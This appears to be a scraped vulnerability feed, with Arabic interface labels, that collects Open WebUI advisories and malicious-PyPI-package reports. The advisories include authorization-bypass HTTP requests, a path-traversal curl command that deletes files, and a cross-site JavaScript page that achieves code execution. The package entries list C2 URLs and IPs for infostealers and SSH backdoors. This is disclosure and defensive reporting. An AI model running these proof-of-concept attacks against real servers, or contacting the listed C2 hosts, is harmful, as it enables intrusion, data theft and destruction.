### Summary Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. ### Details Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users. Similarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again. ### PoC 1 **Example of a user with no memories able to query an existing memory from another user** ``` GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0 --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0 [] ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: * access-control-allow-credentials: true {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### PoC 2 **Example showing excess output about a memory a user has no access to modify** ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ### PoC 3 **Example showing a memory being deleted then restored by a different user than its owner** ``` DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0 true ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0 {"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]} ``` ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### Impact Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
الوصف الكامل
## Vulnerability Description In standard channels (i.e., channels whose `channel.type` is neither `group` nor `dm`), the endpoint `POST /api/v1/channels/{channel_id}/messages/{message_id}/update` can be accessed with **read permission only**. When `access_control` is set to `None`, the authorization check `has_access(..., type="read")` evaluates to `True`, allowing users who are **not the message owner** to update messages. As a result, unauthorized modification of other users’ messages is possible. --- ## Attack Prerequisites - The attacker is an authenticated user (role `user` or higher) - The target channel is a standard channel (i.e., not `group` or `dm`) - `access_control` is `None` or allows `read` access - The attacker can obtain the target `message_id` (e.g., via the channel’s message list) ## Attack Scenario 1. The attacker (User B) retrieves another user’s `message_id` from the message list in a standard channel 2. The attacker sends a request to `POST /api/v1/channels/{channel_id}/messages/{message_id}/update` 3. The message authored by another user (User A) is successfully updated ## Potential Impact - Unauthorized modification of other users’ messages (violation of data integrity) # Steps to Reproduce 1. Log in as an administrator <img width="3334" height="1668" alt="image" src="https://github.com/user-attachments/assets/b20323d3-c050-4438-8912-193a417654bc" /> 2. Create User A <img width="3346" height="788" alt="image" src="https://github.com/user-attachments/assets/b9e4fb8a-b14e-4a4b-b012-02ccfba52fca" /> 3. Create User B <img width="3354" height="796" alt="image" src="https://github.com/user-attachments/assets/f3cf6892-e6c9-4778-b471-f1cc0deec6c8" /> 4. Log in as User A <img width="3360" height="1668" alt="image" src="https://github.com/user-attachments/assets/5264ee07-f5c5-4bbe-ad4f-da69fb540fc9" /> 5. Log in as User B <img width="3354" height="1670" alt="image" src="https://github.com/user-attachments/assets/f112f8e8-b3e2-4e65-b226-c7b6c986f3bb" /> 6. As the administrator, create a new channel <img width="2582" height="988" alt="image" src="https://github.com/user-attachments/assets/bc012d9a-f884-4c83-b6bb-d1e5399f61bb" /> 7. As User A, post a new message in the channel <img width="2626" height="962" alt="image" src="https://github.com/user-attachments/assets/d7ff12c2-fe17-44f0-aaf9-5ce2bac9a378" /> 8. As User B, edit User A’s message <img width="2604" height="958" alt="image" src="https://github.com/user-attachments/assets/8e19ec3e-fdda-4d36-acd5-f3e1fd3402dd" /> 9. Confirm that User A’s message has been modified without authorization <img width="2378" height="1976" alt="image" src="https://github.com/user-attachments/assets/6415fd41-ac68-4d42-83c9-6297caee1fb4" /> ## Affected Files and Line Numbers - `backend/open_webui/routers/channels.py:1417–1460` The authorization check in `update_message_by_id` allows access with **read** permission - `backend/open_webui/utils/access_control.py:124–135` When `access_control=None` and `strict=True`, **read** access is permitted - `backend/open_webui/models/messages.py:341–358` The update logic does not enforce any message ownership check ## Recommended Mitigation Update the condition in `backend/open_webui/routers/channels.py:1451–1456` by changing the permission check from **`read`** to **`write`**, so that only administrators, message owners, or users with write permission can update messages. ### Proposed Changes - For standard channels, change the update permission requirement from `has_access(..., type="read")` to `has_access(..., type="write")` - Preserve the existing ownership check (`message.user_id == user.id`) ## **AI Usage** - Translation from Japanese to English - CWE classification and assessment - Affected Files and Line Numbers
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
الوصف الكامل
### Description There's an IDOR in the channels message management system that allows authenticated users to modify or delete any message within channels they have read access to. The vulnerability exists in the message update and delete endpoints, which implement channel-level authorization but completely lack message ownership validation. While the frontend correctly implements ownership checks (showing edit/delete buttons only for message owners or admins), the backend APIs bypass these protections by only validating channel access permissions without verifying that the requesting user owns the target message. This creates a client-side security control bypass where attackers can directly call the APIs to modify other users' messages. The vulnerability affects both message content modification and deletion, allowing users to tamper with message integrity and audit trails in collaborative channel environments. ### Source - Sink Analysis **Source:** User-controlled `message_id` parameter in URL path **Call Chain:** 1. FastAPI route handlers `update_message_by_id()` (line 450) and `delete_message_by_id()` (line 630) in `backend/open_webui/routers/channels.py` 2. Channel-level authorization check: `has_access(user.id, type="read", access_control=channel.access_control)` at lines 457 and 637 3. Message retrieval: `Messages.get_message_by_id(message_id)` at lines 467 and 647 4. Channel ID validation: `if message.channel_id != id:` at lines 472 and 652 5. **Missing:** Message ownership validation (`message.user_id == user.id`) 6. **Sink:** `Messages.update_message_by_id(message_id, form_data)` at line 476 or `Messages.delete_message_by_id(message_id)` at line 658 - modifies any message without ownership verification ### Proof of Concept 1. Deploy Open WebUI with channels enabled (`ENABLE_CHANNELS=true`) 2. Create scenario: - User A creates a channel and grants User B read access - User A posts a message in the channel - User B observes the message_id from the frontend 3. Exploit: User B sends direct API requests bypassing frontend controls: Message Update: ```bash curl -X POST "http://localhost:8080/api/v1/channels/{channel_id}/messages/{victim_message_id}/update" \ -H "Authorization: Bearer {attacker_token}" \ -H "Content-Type: application/json" \ -d '{"content": "Malicious content injected by attacker"}' ``` Message Deletion: ```bash curl -X DELETE "http://localhost:8080/api/v1/channels/{channel_id}/messages/{victim_message_id}/delete" \ -H "Authorization: Bearer {attacker_token}" ``` 4. Result: Victim's message is modified or deleted despite User B only having read permissions ### Impact - Users can modify other users' message content within shared channels - Read-only users gain write/delete capabilities over other users' content ### Remediation Implement proper message ownership validation in the update and delete endpoints by adding ownership checks that follow the established security pattern used throughout the codebase. First, add a validation condition after the existing message retrieval to ensure only message owners or admins can modify messages: `if user.role != "admin" and message.user_id != user.id and not has_access(user.id, type="write", access_control=channel.access_control)` then raise a 403 Forbidden exception. Second, change the existing permission check from `type="read"` to `type="write"` for both update and delete operations to align with the access control model used in other routers (notes, prompts, knowledge, etc.).
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
الوصف الكامل
** CONFIDENTIAL ** Vulnerability Disclosure Analysis Documentation ----------------------------------------------- Vulnerability Details --------------------- 1. Discoverer: Taylor Pennington of KoreLogic, Inc. 2. Date Submitted: June 11, 2024 3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal 4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted. 5. Affected Vendor: Open WebUI 6. Affected Product(s): Open WebUI (Formerly Ollama WebUI) 7. Affected Version(s): 0.1.105 8. Platform/OS: Debian GNU/Linux 12 (bookworm) 9. Vector: HTTP web interface 10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 11. Technical Analysis: When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127): ``` def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None): if url_idx == None: url_idx = 0 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx] file_path = f"{UPLOAD_DIR}/{file.filename}" # Save file in chunks with open(file_path, "wb+") as f: for chunk in file.file: f.write(chunk) def file_process_stream(): nonlocal ollama_url total_size = os.path.getsize(file_path) chunk_size = 1024 * 1024 try: with open(file_path, "rb") as f: total = 0 done = False while not done: chunk = f.read(chunk_size) if not chunk: done = True continue total += len(chunk) progress = round((total / total_size) * 100, 2) res = { "progress": progress, "total": total_size, "completed": total, } yield f"data: {json.dumps(res)}\n\n" if done: f.seek(0) hashed = calculate_sha256(f) f.seek(0) url = f"{ollama_url}/api/blobs/sha256:{hashed}" response = requests.post(url, data=f) if response.ok: res = { "done": done, "blob": f"sha256:{hashed}", "name": file.filename, } os.remove(file_path) yield f"data: {json.dumps(res)}\n\n" else: raise Exception( "Ollama: Could not create blob, Please try again." ) except Exception as e: res = {"error": str(e)} yield f"data: {json.dumps(res)}\n\n" return StreamingResponse(file_process_stream(), media_type="text/event-stream") ``` The model is temporarily written to disk in chunks and then the data is sent to another internal API. Once the file is successfully passed, the file is removed from the disk. Note line 1116, `os.remove(file_path)`. This has an affect of stomping on and ultimately deleting any file that the user of the open-webui service has permissions over. It may be possible to continue sending chunks to the file slowly and create a race condition however, this was not validated. 12. Proof-of-Concept: First, create a file under the `/tmp` directory named `DELETE_ME` while logged in as the user account of the web application or chown the file to be owned by the open-webui user. ``` # su ollama # touch /tmp/DELETE_ME ``` Execute the following cURL command after replacing the exported `JWT` value for a valid user session: ``` export JWT="JWT_HERE"; curl -s -X $'POST' \ -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \ --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \ $'https://openwebui.example.com/ollama/models/upload' ``` Verify that `/tmp/DELETE_ME` has been deleted. 13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: ``` filename = os.path.basename(file.filename) file_path = f"{UPLOAD_DIR}/{filename}" ```
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
الوصف الكامل
# GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175` The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [open-webui](https://github.com/open-webui/open-webui). We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team. If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2024-174` or `GHSL-2024-175` as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure. If you are _NOT_ the correct point of contact for this report, please let us know! ## Summary Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container. ## Project open-webui ## Tested Version [v0.3.10](https://github.com/open-webui/open-webui/releases/tag/v0.3.10) ## Details ### Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`) CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the `/api/v1/functions` endpoint (admins) can execute arbitrary code on the openwebui instance. The following pattern occurs at the following routers: 1. [backend/apps/webui/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/webui/main.py#L92) 2. [backend/apps/audio/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/audio/main.py#L58) 3. [backend/apps/images/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/images/main.py#L60) 4. [backend/apps/rag/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/rag/main.py#L246) 5. [backend/apps/openai/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/openai/main.py#L47) 6. [backend/apps/ollama/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/ollama/main.py#L62) 7. [backend/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/main.py#L881) ```python app.add_middleware( CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) ``` #### Impact This issue may lead to `Remote Code Execution`. #### Remediation The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying `allow_origins=["*"]`. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as `"*"` or `"*.com"` #### Proof of Concept Host the following code on your website, `attacker.com`. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command `whoami` placed into a newly created file `/tmp/whoami.txt`. Ensure you have logged into an admin open-webui account ```javascript <body> <p>Click here to login.</p> <div id="response"></div> <script> //Firefox cross site cookie request bypass const url = 'http://localhost:3000/static/favicon.png'; document.addEventListener("DOMContentLoaded", () => { document.onclick = () => { open(url); filter_id = "okok" //Create a function/filter to write code fetch('http://localhost:3000/api/v1/functions/create', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ "id": filter_id, "name": "test2", "meta": {"description": "test2"}, "content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n" }), credentials: 'include' // This will send cookies from the origin }) .then(response => response.json()) .then(data => console.log(data)) .catch((error) => console.error('Error:', error)); //Toggle the filter to execute code fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, { method: 'POST', credentials: 'include' // This will send cookies from the origin }) .then(response => response.json()) .then(data => console.log(data)) .catch((error) => console.error('Error:', error)); } }); </script> </body> ``` ### Issue 2: Failure to Invalidate Session on Logout (`GHSL-2024-175`) Openwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser. This vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users. #### Impact This issue may increase the impact of primitives gained from other security issues. #### Remediation For every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage. #### Resources [OWASP Recommendation On Sessions](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) ## GitHub Security Advisories We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). ## Credit These issues were discovered and reported by GHSL team member [@Kwstubbs (Kevin Stubbings)](https://github.com/Kwstubbs). ## Contact You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2024-174` or `GHSL-2024-175` in any communication regarding these issues. ## Disclosure Policy This report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
الإصدارات المتأثرة
All versions < 0.1.124, 0.1.125, 0.2.0, 0.2.1, 0.2.2
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (df9e0498d827adeb16ea11e4a1137133d2124f039942b776f7ac098a257cd164) If executed as a module, the obfuscated code collects and exfiltrates sensitive data, including passwords saved in a browser. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-old-mpkg123 Reasons (based on the campaign): - infostealer - obfuscation - A Telegram webhook is used to send collected data. - exfiltration-browser-data
الإصدارات المتأثرة
All versions < 0.0.0
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (74ce2be8301ccea70138e307282fbf70ede26eede2a531296145f7d0da695b80) The package contains code to install remotely stored malware and ensure its persistence. The code is not triggered automatically; it requires a separate trigger. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2025-07-cas-base Reasons (based on the campaign): - Downloads and executes a remote executable. - malware - persistence
الإصدارات المتأثرة
1.0.0
🚨 مؤشرات الاختراق (IOCs)
Domains: pub-b63e77578ffe42519de7d1771935f8b0.r2.dev
C2 URLs: https://pub-b63e77578ffe42519de7d1771935f8b0.r2.dev/Kaylew.zip, https://pub-b63e77578ffe42519de7d1771935f8b0.r2.dev/Ddrat.zip, https://pub-b63e77578ffe42519de7d1771935f8b0.r2.dev/Edge.zip
المراجع
https://www.virustotal.com/gui/file/20377b8ee72f1371ed41228f47d4bce20b1b3c89b8465626fb78bc3f18ea935e/detection
https://www.virustotal.com/gui/file/0338390d7b545f2695622df543b67b9a87131416b71dfb368a874a335a55238f/detection
https://github.com/kamakshyatest4/python-malware/blob/45f86d614fd5c8c01d844a458d56c292c7c060c2/requirements.txt#L1
https://tria.ge/250712-jwamlsyxat
https://www.virustotal.com/gui/file/cd4e27e9d32c1ef71a49c3c7695be591cb3400763b22471347c4af1db366685e
https://www.virustotal.com/gui/file/40b64916c5a38fde2b9939c674a2eaefd39df6216014e35a86b596746d34e2e9
https://bad-packages.kam193.eu/pypi/package/xxoo-bale
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (9cfdf8d83ac7dc528caac3292d1b02ba162629b349789149fbbfcb7094f778b0) Generic campaign for all (likely) research / pentests, where the amount or art of collected data raises questions about the privacy, security and ethical side. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: GENERIC-questionable-pentest Reasons (based on the campaign): - exfiltration-env-variables - exfiltration-generic - The package overrides the install command in setup.py to execute malicious code during installation. - typosquatting ## Source: ossf-package-analysis (48fb39f196967f77f180992af73bc9c3db726ebf65804516c2b914aae6690466) The OpenSSF Package Analysis project identified 'dlocal-cli' @ 99.0.1 (pypi) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
الإصدارات المتأثرة
99.0.0, 99.0.1, 99.0.2, 99.0.3
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (f5ebdaebc61cf7a888322348e074f219519b7d09a24ab91732d8bc5061d86b2e) The package provides a special image-storing field for Django REST Framework based on a legitimate implementation from the Hipo/drf-extra-fields repository. The malicious modification appends the cloud credentials and full `settings` values to the serialized form of specific image types. This way, an attacker can retrieve sensitive values by downloading back once uploaded image. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-old-django-b64-img Reasons (based on the campaign): - exfiltration-credentials - obfuscation - backdoor
الإصدارات المتأثرة
1.1
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (4b2052172f5c854b2e91f6bdc9336a97469cd161372621a1880d9cd1e3ad426a) The code silently exfiltrates the private key of a crypto account. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-old-web3-py-checksum Reasons (based on the campaign): - crypto-related - exfiltration-crypto
الإصدارات المتأثرة
1.1
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (da4e8d5daae9a14e0ceb5a942afd308068957ec655cdd950b2b041934e9ec182) During installation, obfuscated code exfiltrates cryptocurrency wallet data to a hardcoded location and places a backdoor through a new authorized SSH key. Information about the placed backdoor is sent back to the attacker, and sshd configuration is adjusted to ensure the successful remote connection. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ninja-core-utils Reasons (based on the campaign): - The package overrides the install command in setup.py to execute malicious code during installation. - obfuscation - crypto-related - exfiltration-crypto - backdoor
الإصدارات المتأثرة
1.2.5
🚨 مؤشرات الاختراق (IOCs)
IPs: 144.126.142.148
C2 URLs: http://144.126.142.148:5555/tao, http://144.126.142.148:5555/report
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (029e190fc99763d65a096339b29fa85aeb0a23c3818a632a2dd4dc99f3e8fd64) During installation, obfuscated code exfiltrates cryptocurrency wallet data to a hardcoded location and places a backdoor through a new authorized SSH key. Information about the placed backdoor is sent back to the attacker, and sshd configuration is adjusted to ensure the successful remote connection. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ninja-core-utils Reasons (based on the campaign): - The package overrides the install command in setup.py to execute malicious code during installation. - obfuscation - crypto-related - exfiltration-crypto - backdoor
الإصدارات المتأثرة
1.2.2
🚨 مؤشرات الاختراق (IOCs)
IPs: 144.126.142.148
C2 URLs: http://144.126.142.148:5555/tao, http://144.126.142.148:5555/report
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (2098233a75602dd1779f720f566420f4a88ec77694b206e7858323b5aeea38d5) Package is disguised as a utility, but in fact loads encrypted code as modules. However, loading it requires knowing the decryption key which is not included in the package. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ggfmttygl Reasons (based on the campaign): - obfuscation - The malicious code is intentionally included in a dependency of the package
الإصدارات المتأثرة
1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (e741cc1df48cc526ad3a27ac702f5dea403723557b4a485f84847340310d66e5) Package is disguised as a utility, but in fact loads encrypted code as modules. However, loading it requires knowing the decryption key which is not included in the package. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ggfmttygl Reasons (based on the campaign): - obfuscation - The malicious code is intentionally included in a dependency of the package
الإصدارات المتأثرة
1.0.0
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (ce4d4558612dd659843989e690b64a3c4073d5a4b34217c2e89a5325835da685) During installation or import, package silently adds a new authorized SSH key. It's closely related to the 2026-05-ninja-core-utils campaign, but there is no built-in crypto exfiltration. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ninja-ssh-proto Reasons (based on the campaign): - backdoor - obfuscation
الإصدارات المتأثرة
1.1.0
🚨 مؤشرات الاختراق (IOCs)
C2 URLs: http://144.126.142.148:5555/report
الوصف الكامل
--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (6f2ecdbc9e024d6dc51c8e5d48941c5aac432db65ad733317aed159d480973cd) During installation or import, package silently adds a new authorized SSH key. It's closely related to the 2026-05-ninja-core-utils campaign, but there is no built-in crypto exfiltration. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ninja-ssh-proto Reasons (based on the campaign): - backdoor - obfuscation
الإصدارات المتأثرة
1.1.0
🚨 مؤشرات الاختراق (IOCs)
C2 URLs: http://144.126.142.148:5555/report
الوصف الكامل
